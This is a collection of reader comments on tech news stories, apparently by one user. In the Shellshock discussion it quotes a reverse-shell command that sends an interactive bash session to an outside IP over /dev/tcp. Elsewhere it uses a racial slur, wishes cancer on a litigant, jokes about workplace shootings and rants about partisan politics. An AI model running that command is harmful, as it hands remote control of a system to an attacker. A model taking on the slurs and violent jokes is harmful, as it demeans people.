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Kmart apologizes to customers after month-long security breach

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Re: NSA's job

Well they would be basically protecting their respective economies.

Will you maybe just LOOK at the curves of national debt, money printed and "jobs created" outside of taxpayer-funded sectors?

Nobody in charge gives a flying FUCK about "protecting their respective economies".

Public choice theory: The people in charge are not there to help you. They are there so that they can enlarge their mansion. And probably for the lulz.

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'MYSTERIOUS PYRAMID STRUCTURE' found on COMET beyond Mars: Landing planned

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Shazaaam!!

ELECTRICITY out there in "empty" space?

ENERGO PRUBLEMS solved in a single BOLD stroke.

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Re: Pyramid like?

When the hapless space probe approaches, a GALACTIC ROCHER addy will unfold in space, to the amazement of billions.

FIRST CONTACT - By Marketeering!

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Trolls have DARK TETRAD of personality defects, say trickcyclists

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I'm glad to say the word sheeple wasn't in common currency back when I was modding. Otherwise I think I'd have banned everyone who used it.

Typical modhouse behaviour. Banhammer for telling the truth meanwhile lures to CP sites and carder forums, random Fox News shit or outright Nazi and/or Israeli bullcrap gets the A-OK for being "politicial talk" (Honest-to-$DEITY Nazis have to be morse subtle thought and must not cite Goering or Hitler outright, so they are at a little disadvantage here)

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Re: But how do the canvassers know

mah_nigga_denzel.jpg

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Never give these people uniforms.

You already encounter them EVERY FUCKING DAY in the labyrinthine depths of STATE BUREAUCRACY.

And this is why I am for full liberalization of firearms. Full liberalization.

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I've got a new Linux box, how does it work... WOAH, only asking :-/

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Linux users asking on 4chan: Not gonna end well.

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Red Bull does NOT give you wings, $13.5m lawsuit says so

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Re: Applies where?

> we want all companies to stop making false/misleading adverts then Red Bull are fair game

Have you even seen the false adverts for Obamacare? It's practically along the lines of "Be a crack whore, have fun. You will get a free liver thrown in later".

But then again, it's not a company, so I guess it's all-ok.

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Re: The Wally Wants Wings?

> fake cherry

Too young to ever have chewed on "Hubba Bubba" chewing gum?

> What Red Bull should be wary of

Yep. Personal responsibility. The taking of. It has been flushed down the drain by progressivism.

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Red Bull gives you ISIS

I just hope Red Bull gives him the cancer he deserves, and to his ambulance-chasing lawyers and all the other leeches too.

but has an underlying message that this is some kind of sports drink and by consuming it you will improve your performance

I have never seen anyone drink Red Bull to improve his "athletic performance" unless 48h gaming marathons and alcohol-fuelled night club autotorture counts for this.

But then again, I'm generally living in Europe. $DEITY knows what Murricans believe.

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US astrophysicist Neil deGrasse Tyson: US is losing science race

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Frankly...

Whit the US sliding faster than ever down the slope of a US version of National-Socialism (today in the news: More wars, More economic regimentation, Obamacare still "a success story", NSA youth camps for snooping on neighbors, calls for a Muslim "final solution" and across-the-baord calls to end 'underfunding' of the military), "LOST SCIENCE!" seems to become a problem of a somewhat lower priority.

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Prez Obama backs net neutrality – but can't do anything about it. Thanks, Obama

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Let the White House Shoggoth stroke its Nobel Peace Prize in peace!

In a visit to California, US President Obama has reiterated support for full net neutrality, but said it wasn't something he could do anything about.

So he supports something he has no idea about what it is but cannot do anything about it?

What's new?

He should go back wrecking the economy with liberal narcissistic bullshit, bombing random points on a map, surveilling everyone or maybe whip up wars with Russia, China, Syria, Yemen and god-knows-what-else.

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Malware analysts tell crooks to shape up and write decent code

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Re: Hubris

Well, that's the case of 99% of the IT "industry". For some values of "works", often handled by "you do have a backup, don't you?" recovery efforts.

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Re: They "tend not to care" because ...

> a retriever chasing a "ghost" tennis ball

Cue scary Stephen King movie music.

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NASA: Mars satellites menaced by speeding SPACE ALIEN

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Re: the comet has dimmed to about half the brightness ...

Set cultists to RUN!

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Facebook scammers punt fake 'sexy vid' of Emma Watson

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LEAVE MY EMMA ALONE!

What's wrong with people?

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Google AXES AndroidScript app used by 20,000 STEM coders WITHOUT WARNING

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Re: Android named apps

Rename to C3P0script.

Sorted.

Will The Estate of George Lucas strike back? Well, there is a caching library called C3P0 already, so probably not.

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You can ring my #bellogate. EMAIL STORM hits 29,000 hapless UCL students

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Re: Panic

Why not implement a rule or two?

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Re: I work for a large company...

Nothing wrong in HR that cannot be solved with Going Postal Event.

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Re: face plam

Better use the nucular option!

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'A motivated, funded, skilled hacker will always get in' – Schneier

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Re: Preaching to the choir

"Are the techies on here not aware of how bad it is or are they just apathetic?"

I don't know, but I'm now off for a slight buzz of ethanol and immersive game playing.

It is the only way to cope.

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Pen-testers outline golden rules to make hacks more €xpen$ive

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Re: Whitelisting!

> the several fundamental security shortcomings in Linux

> puts an extra wrapper on them.

WUT?

You better get yourself a manual and start reading.

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Whitelisting!

SELinux, then?

It is a difficult beast and needs maintenance and package-level support.

But ... no Perl? I don't see this. This is like saying "no programs on this machine, so we are secure". Well, yes, but that's not the goal at all.

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Want to break Netflix? It'll pay you to do the job

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WTF LOL

A person who has

“Exceptional Java, C# or C++, object oriented design and programming skills”

but only

“Solid understanding of data structures, concurrency and algorithms.”

?

Yeah, I know those. "Code now, cry later (which someone else doing the crying)" people who are best kept away from the keyboard until they know what they are doing. Easy to find, problematic to kill reeducate.

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Microsoft: Yeah, about that 50% post-Christmas customer price hike...

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Wow, such deal. Much service. Wow.

> "Office-Home-Premium-Subscription-Card is cheap at amazon.com!" (63.22 USD)

> Verboten for business

> Quite a bit more expensive where I can buy it (75.90 EUR)

> Renewal required every year, so actually a subscription coming in a cardboard box. Better renew soon.

> Output shall be in an opaque, patent-encumbered format. Enjoy your fail.

MFW

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Microshit astroturfer, please!

Try going to the SUSE and Redhat websites and looking - they are more expensive than equivalent Windows Server versions.

Yeah, as someone once said: "Do you think people would just go on the Internet and tell lies? Why would anyone do that?"

Your statement makes no fscking sense because Linux is a challenger not the king of the hill demanding tribute and every house's daughter for a test drive. So Linux packaging and support-providing outfits will be in the general ballpark of Microsoft pricing, thought a few hundred per year less.

According to Red Hat quite a few hundred per year less. I'm sure you can come up with better numbers, mister grassroots:

"Based on these numbers, the five-year cost of ownership for the proposed eight-server solution would be $47,960 for Red Hat Enterprise Linux and $119,594 for Microsoft Windows Server 2008 R2." etc. etc.

Pricing statements about "Linux is dear, oh dear" have a nasty tendency to come out of the Dungeon of Redmond exclusively and/or you can smell the money trail from a mile away (cough *Gartner* cough).

Course, getting the users to actually accept a system that looks dangerously hot-rodded at times is something else entirely.

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Economics prof denies digital pirates plundered €20bn from EU coffers

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Re: Freetardonomics

Don't mind if I do!

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Even their marketing shit is dumb

Without piracy, the value added and employment levels in the creative industries would have evolved in the same way, and at the same level, as the overall economy, claimed BASCAP.

So without piracy, the "creative" economy would have resembled a beautiful flower continually circling the toilet drain ... but it didn't?

PIRACY HELPS! PIRATIFY NOW!

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Adobe spies on reading habits over unencrypted web because your 'privacy is important'

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Re: A bug? In Adobe Software? Impossibru!

Adobe said this shouldn't possible

...so they accidentally the whole software!

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Re: Somebody has gotta simplify that agreement

LAWYERS!

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Windows 10 feedback: 'Microsoft, please do a deal with Google to use its browser'

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Re: My Fave Changes...

and then at the bottom of that screen is a tiny text link

The worst case of forced selling droidism comes in the mantle of reasonableness with tiny text links squirreled away in unexpected places. Or at the end of a stultefying meaningless EULA.

In a sane world, the person responsible would be dragged out of his/her cozy redmondian office then pitchforked with extreme prejudice.

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Countless Belkin routers go TITSUP in massive mystery meltdown

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Re: STOP PRESS: Belkin staff unable to enter offices

I don't get it? Is this a reference to a PKD story?

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Revealed: Malware that forces weak ATMs to spit out 'ALL THE CASH'

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They do not steal. Your government prints up the money. Which means you get taxed through the backdorr.

> unlikely to ever recover from this theft.

Of course it will "recover" eventually. However, there is the little problem of a megamammut of unpayable "social promises" and debt to be absorbed first, which are only no problem in progressives' fantasies. Get ready.

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Re: "32-bit Windows-powered ATM"

How does the juxtaposition of "Embedded" and "Windows" even make sense? It's like a wheelchair submarine.

absolutely nothing at all to do with Microsoft

Correct though. It has to do with a decision process that concludes that something from a company that writes consumer-grade desktop bloaty wobbly into a system that should be rather tamper-proof and minimalistic and manageable is actually a good fit.

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Re: Eh?

I guess you are missing Bad"Best-of-Breed" Practices and Use of Industry Standard Software.

this ensures the boss's money-collecting mules are unable to carry out the scam alone – they need help in converting the random numbers into unlock keys.

If that would happen in the open industry, you would get menaces from the union.

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"32-bit Windows-powered ATM"

No further questions, your honour!

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What's happened since Beijing's hacker unit was exposed? Nothing

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Why are these guys so GOOD?

In our company, people trip over phising scams, fall down stairways, cannot find the any key .... then they get a pay increase because it's the law ...

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Official: Turing's Bombe BETTER than a Concorde plane

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Re: @Peter Gathercole - HMS Belfast

If only we still had the technological drive and confidence those guys had back then!

I can do without the technological drive and confidence that leads to an armement race about who can wave the biggest willy on the ocean to make sure the colonies stay appreciative. No.

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Inflatables in SPAAACE! ISS 'nauts to enjoy bouncy castle spaceship

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Re: if its bouncy

Only if they are really, really slow.

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Re: Future of space colonization...

by connecting it to the ISS...

Which will then become the International Space Inflatable Station, i.e. ISIS.

Oh God.

I hope Team America doesn't notice, otherwise it will be all over in a second via ASAT kill vehicle.

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Nvidia's screaming new Maxwell GPUs bring 4K gaming to notebooks

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Re: What about the battery?

Just look for a triphase socket in the airport lounge.

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Big racks? Pah. Storage boffins have made a BIONIC BRAIN material

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Melbourne Mechatronics and Mechanical Men

"Some of our problems" is good enough.

Just looking at the morning paper, the only solution to "all our problems" is HUGE METEOR.

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AT&T fires insider for slurping customers' social security numbers, driver licenses and more

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Re: Bah!

Pull your $$$ from their control

You may be dismayed to find out that there frankly is not enough $$$ to do that.

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Hiss-hiss! GIGANTIC SOLAR FILAMENT snakes around Sun

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Re: Are we doomed?

Yes.

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'Conscious uncoupling' of HP 'Ink', HP Enterprise: It's the shareholders, stupid

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Getting psychotic yet?

Whitman has worked 18 hour days since taking the CEO’s office at HP

Just what.

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Want the EU to work on making cloud snoop-proof? Speak up, my good 'stakeholder'

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Recipe #1

No software patents, ever and any that exist are retroactively declared null and void.

No wait, that was another problem, though there is undeniable linkage.

I like my government-granted monopolies in the morning.

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Re: Just a few suggestions (@ AC)

The carrot is the right to sell cloud services in Europe, and it's a huge carrot, in my opinion.

The world does not work that way. That would be like the "right to set up a bank". A bank can make enormous profits due to a special status which allows it to socialize risk about lending out other people's money. Thus the incentive to set up a bank is very much higher than the incentive to set up a cloud service. Indeed, suddenly the cloud service is all about pain, maintenance and regulatory compliance (a shifting and uncertain set of requirements demanding risk management and bullshitting at the best of times)

There just will be less "cloud services" and those that exist will either be abroad (what's that? want to tell people to not use them? good luck to you, sir) or the persons in charge will just make sure people very near the Hubs Of Power have their back in case unfortunate questions arise. A recipe for cronyism and The Vatican Bank mirrored in the Cloud Domain.

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Yahoo servers? SHELLSHOCKED? by Bash?

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Re: Bash is Bollocks for security

Amazingly, a tool is being used as a tool.

Even in a "minimal system" the tools to do maintenance must still be available from time to time. Unless we are talking embedded.

Whether "Bash is Bollocks for security" is neither here nor there.

The error here consists in making the swiss army knife usable from outside. That is a combination of using shell scripts to process the "Agent" header and having that bash bug. The error does not consist in having the swiss army knife available in the first place.

"/bin/bash –i >&/dev/tcp/199.175.52.92/2221 0>&1" does not do a whole lot. Would it work with any other shell on a system which has nice features underneath /dev/tcp? I sure hope so.

Why use shell scripts to process that "Agent" header? Well, now, that is the REAL question. They should have been gotten rid of some time ago.

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Linux systemd dev says open source is 'SICK', kernel community 'awful'

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Poettering, please!

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Re: But I thought Linux was the dog's

this could be reasonable

In a sane world, you would develop an appropriate language to describe this kind of problem, then generate all your code from a short, correct description. Esterel maybe?

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